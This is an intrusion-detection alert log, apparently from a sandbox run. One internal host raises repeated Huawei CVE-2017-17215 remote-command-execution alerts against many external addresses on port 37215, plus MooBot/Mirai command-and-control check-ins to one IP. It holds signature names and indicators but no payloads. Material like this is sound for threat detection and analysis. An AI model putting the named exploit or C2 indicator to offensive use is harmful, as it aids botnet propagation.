Timestamp:	2024-08-01T15:36:01.465160+0200
SID:	2835222
Source Port:	52910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.200.51

Timestamp:	2024-08-01T15:35:02.678856+0200
SID:	2835222
Source Port:	37984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.147.137.244

Timestamp:	2024-08-01T15:35:21.918438+0200
SID:	2835222
Source Port:	46604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.78.129

Timestamp:	2024-08-01T15:35:40.237957+0200
SID:	2835222
Source Port:	60480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.212.95

Timestamp:	2024-08-01T15:34:58.165224+0200
SID:	2835222
Source Port:	44082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.65.254.108

Timestamp:	2024-08-01T15:36:46.324913+0200
SID:	2835222
Source Port:	40460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.212.156.58

Timestamp:	2024-08-01T15:36:24.450055+0200
SID:	2835222
Source Port:	55788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.246.238.139

Timestamp:	2024-08-01T15:35:48.347913+0200
SID:	2835222
Source Port:	42480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.242.13

Timestamp:	2024-08-01T15:35:28.716743+0200
SID:	2835222
Source Port:	46892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.100.160.246

Timestamp:	2024-08-01T15:35:43.227003+0200
SID:	2835222
Source Port:	58894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.132.18.235

Timestamp:	2024-08-01T15:35:50.300205+0200
SID:	2835222
Source Port:	60140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.58.243

Timestamp:	2024-08-01T15:35:17.164984+0200
SID:	2835222
Source Port:	50458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:10.360927+0200
SID:	2030490
Source Port:	57494
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.200.43.137

Timestamp:	2024-08-01T15:35:35.119566+0200
SID:	2835222
Source Port:	37168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.90.52

Timestamp:	2024-08-01T15:36:18.253081+0200
SID:	2835222
Source Port:	49758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.148.115.72

Timestamp:	2024-08-01T15:36:11.915663+0200
SID:	2835222
Source Port:	59054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.159.29.89

Timestamp:	2024-08-01T15:36:51.607111+0200
SID:	2835222
Source Port:	34304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 128.73.80.245

Timestamp:	2024-08-01T15:35:35.234035+0200
SID:	2835222
Source Port:	34090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 145.69.112.188

Timestamp:	2024-08-01T15:35:56.634776+0200
SID:	2835222
Source Port:	53910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.153.26.112

Timestamp:	2024-08-01T15:36:22.850866+0200
SID:	2835222
Source Port:	53626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.66.187.231

Timestamp:	2024-08-01T15:36:46.337672+0200
SID:	2835222
Source Port:	44012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.172.58.12

Timestamp:	2024-08-01T15:35:20.203378+0200
SID:	2835222
Source Port:	46892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.21.92

Timestamp:	2024-08-01T15:35:20.204488+0200
SID:	2835222
Source Port:	39356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.235.170

Timestamp:	2024-08-01T15:36:22.351865+0200
SID:	2835222
Source Port:	53596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.244.128

Timestamp:	2024-08-01T15:35:28.716739+0200
SID:	2835222
Source Port:	43622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.121.163

Timestamp:	2024-08-01T15:36:24.457141+0200
SID:	2835222
Source Port:	43684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.2.129

Timestamp:	2024-08-01T15:35:21.910922+0200
SID:	2835222
Source Port:	53132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.191.131.252

Timestamp:	2024-08-01T15:35:54.384686+0200
SID:	2835222
Source Port:	37260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.248.113.198

Timestamp:	2024-08-01T15:36:26.560700+0200
SID:	2835222
Source Port:	58428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.176.28

Timestamp:	2024-08-01T15:36:53.733952+0200
SID:	2835222
Source Port:	56100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.225.15.248

Timestamp:	2024-08-01T15:35:33.088157+0200
SID:	2835222
Source Port:	35260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 198.59.102.193

Timestamp:	2024-08-01T15:35:17.144107+0200
SID:	2835222
Source Port:	42060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 194.117.167.54

Timestamp:	2024-08-01T15:35:37.221049+0200
SID:	2835222
Source Port:	56392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.197.79.220

Timestamp:	2024-08-01T15:35:50.279159+0200
SID:	2835222
Source Port:	36012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.62.181.41

Timestamp:	2024-08-01T15:36:09.902563+0200
SID:	2835222
Source Port:	35372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:50.092979+0200
SID:	2030490
Source Port:	42320
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.74.121.248

Timestamp:	2024-08-01T15:36:14.868068+0200
SID:	2835222
Source Port:	42534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.215.72.182

Timestamp:	2024-08-01T15:35:56.574709+0200
SID:	2835222
Source Port:	46680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.166.193.116

Timestamp:	2024-08-01T15:36:20.315370+0200
SID:	2835222
Source Port:	51508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.105.13

Timestamp:	2024-08-01T15:35:21.834926+0200
SID:	2835222
Source Port:	39690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.66.58.1

Timestamp:	2024-08-01T15:35:20.210341+0200
SID:	2835222
Source Port:	59778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.90.60

Timestamp:	2024-08-01T15:35:20.205725+0200
SID:	2835222
Source Port:	35140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.175.26.219

Timestamp:	2024-08-01T15:36:53.858575+0200
SID:	2835222
Source Port:	55634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.251.127.111

Timestamp:	2024-08-01T15:35:50.285393+0200
SID:	2835222
Source Port:	56424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.120.137

Timestamp:	2024-08-01T15:35:17.158668+0200
SID:	2835222
Source Port:	51922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.85.183.55

Timestamp:	2024-08-01T15:36:55.995393+0200
SID:	2835222
Source Port:	49230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.81.68.60

Timestamp:	2024-08-01T15:35:17.171012+0200
SID:	2835222
Source Port:	41752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.187.206.132

Timestamp:	2024-08-01T15:35:37.222155+0200
SID:	2835222
Source Port:	42434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.199.186.180

Timestamp:	2024-08-01T15:36:06.713592+0200
SID:	2835222
Source Port:	59316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.7.191

Timestamp:	2024-08-01T15:36:11.966764+0200
SID:	2835222
Source Port:	33874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.78.73.213

Timestamp:	2024-08-01T15:36:16.182777+0200
SID:	2835222
Source Port:	53650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.67.216

Timestamp:	2024-08-01T15:35:16.807216+0200
SID:	2835222
Source Port:	49914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.37.2

Timestamp:	2024-08-01T15:35:50.278180+0200
SID:	2835222
Source Port:	60106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.49.113.176

Timestamp:	2024-08-01T15:36:14.829856+0200
SID:	2835222
Source Port:	41268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.75.57

Timestamp:	2024-08-01T15:35:20.216317+0200
SID:	2835222
Source Port:	38880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.159.184.52

Timestamp:	2024-08-01T15:36:06.714018+0200
SID:	2835222
Source Port:	43342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.116.140

Timestamp:	2024-08-01T15:36:18.282290+0200
SID:	2835222
Source Port:	39252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.72.26.26

Timestamp:	2024-08-01T15:36:01.132910+0200
SID:	2835222
Source Port:	36106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 143.161.77.41

Timestamp:	2024-08-01T15:36:20.303287+0200
SID:	2835222
Source Port:	43158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.214.148

Timestamp:	2024-08-01T15:36:11.949773+0200
SID:	2835222
Source Port:	54088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.26.75

Timestamp:	2024-08-01T15:35:21.881631+0200
SID:	2835222
Source Port:	41494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.22.47.246

Timestamp:	2024-08-01T15:36:11.953742+0200
SID:	2835222
Source Port:	45638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.51.189

Timestamp:	2024-08-01T15:36:10.339062+0200
SID:	2835222
Source Port:	53850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.251.61.118

Timestamp:	2024-08-01T15:35:17.155297+0200
SID:	2835222
Source Port:	52480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.91.246.246

Timestamp:	2024-08-01T15:35:20.214949+0200
SID:	2835222
Source Port:	48260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.159.5.15

Timestamp:	2024-08-01T15:36:14.869645+0200
SID:	2835222
Source Port:	52608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.109.248.147

Timestamp:	2024-08-01T15:35:54.404707+0200
SID:	2835222
Source Port:	52280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.253.6

Timestamp:	2024-08-01T15:36:24.442194+0200
SID:	2835222
Source Port:	51232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.253.207.136

Timestamp:	2024-08-01T15:35:20.214650+0200
SID:	2835222
Source Port:	35868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.184.179.58

Timestamp:	2024-08-01T15:36:57.653669+0200
SID:	2835222
Source Port:	39446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.220.41

Timestamp:	2024-08-01T15:35:21.887693+0200
SID:	2835222
Source Port:	40128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.156.26.246

Timestamp:	2024-08-01T15:36:06.684131+0200
SID:	2835222
Source Port:	39344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.56.244

Timestamp:	2024-08-01T15:35:20.205557+0200
SID:	2835222
Source Port:	35776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.211.164.126

Timestamp:	2024-08-01T15:35:55.423468+0200
SID:	2835222
Source Port:	38766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.230.81.113

Timestamp:	2024-08-01T15:36:51.564932+0200
SID:	2835222
Source Port:	47434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.15.70.208

Timestamp:	2024-08-01T15:36:06.760852+0200
SID:	2835222
Source Port:	50962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.90.188.156

Timestamp:	2024-08-01T15:36:08.983876+0200
SID:	2835222
Source Port:	60172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.178.175

Timestamp:	2024-08-01T15:36:18.278788+0200
SID:	2835222
Source Port:	42796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.147.162.230

Timestamp:	2024-08-01T15:35:16.323354+0200
SID:	2835222
Source Port:	48754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.33.33

Timestamp:	2024-08-01T15:35:16.744421+0200
SID:	2835222
Source Port:	34188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.244.113.96

Timestamp:	2024-08-01T15:36:01.489433+0200
SID:	2835222
Source Port:	34014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 93.202.142.98

Timestamp:	2024-08-01T15:36:14.810500+0200
SID:	2835222
Source Port:	45900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.152.102.190

Timestamp:	2024-08-01T15:36:29.121913+0200
SID:	2835222
Source Port:	55948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.17.142

Timestamp:	2024-08-01T15:35:40.239882+0200
SID:	2835222
Source Port:	47224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.147.98

Timestamp:	2024-08-01T15:36:48.409405+0200
SID:	2835222
Source Port:	51604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.120.113

Timestamp:	2024-08-01T15:35:16.774865+0200
SID:	2835222
Source Port:	57120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.96.218

Timestamp:	2024-08-01T15:36:56.011142+0200
SID:	2835222
Source Port:	34606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 164.37.243.92

Timestamp:	2024-08-01T15:36:06.682419+0200
SID:	2835222
Source Port:	35238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.145.138

Timestamp:	2024-08-01T15:35:20.207605+0200
SID:	2835222
Source Port:	43408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.206.55

Timestamp:	2024-08-01T15:35:20.209268+0200
SID:	2835222
Source Port:	50504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.179.167.230

Timestamp:	2024-08-01T15:35:58.635311+0200
SID:	2835222
Source Port:	43582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.168.112.235

Timestamp:	2024-08-01T15:35:21.870121+0200
SID:	2835222
Source Port:	34440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.149.127.218

Timestamp:	2024-08-01T15:36:53.742974+0200
SID:	2835222
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.173.216

Timestamp:	2024-08-01T15:36:36.978466+0200
SID:	2835222
Source Port:	45620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 134.183.251.243

Timestamp:	2024-08-01T15:35:21.876302+0200
SID:	2835222
Source Port:	57760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.178.52.107

Timestamp:	2024-08-01T15:36:32.777870+0200
SID:	2835222
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.65.44.21

Timestamp:	2024-08-01T15:36:57.575715+0200
SID:	2835222
Source Port:	46752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.103.225.112

Timestamp:	2024-08-01T15:36:26.575350+0200
SID:	2835222
Source Port:	51880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.79.158.107

Timestamp:	2024-08-01T15:35:45.494780+0200
SID:	2835222
Source Port:	46684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.144.119

Timestamp:	2024-08-01T15:36:46.292734+0200
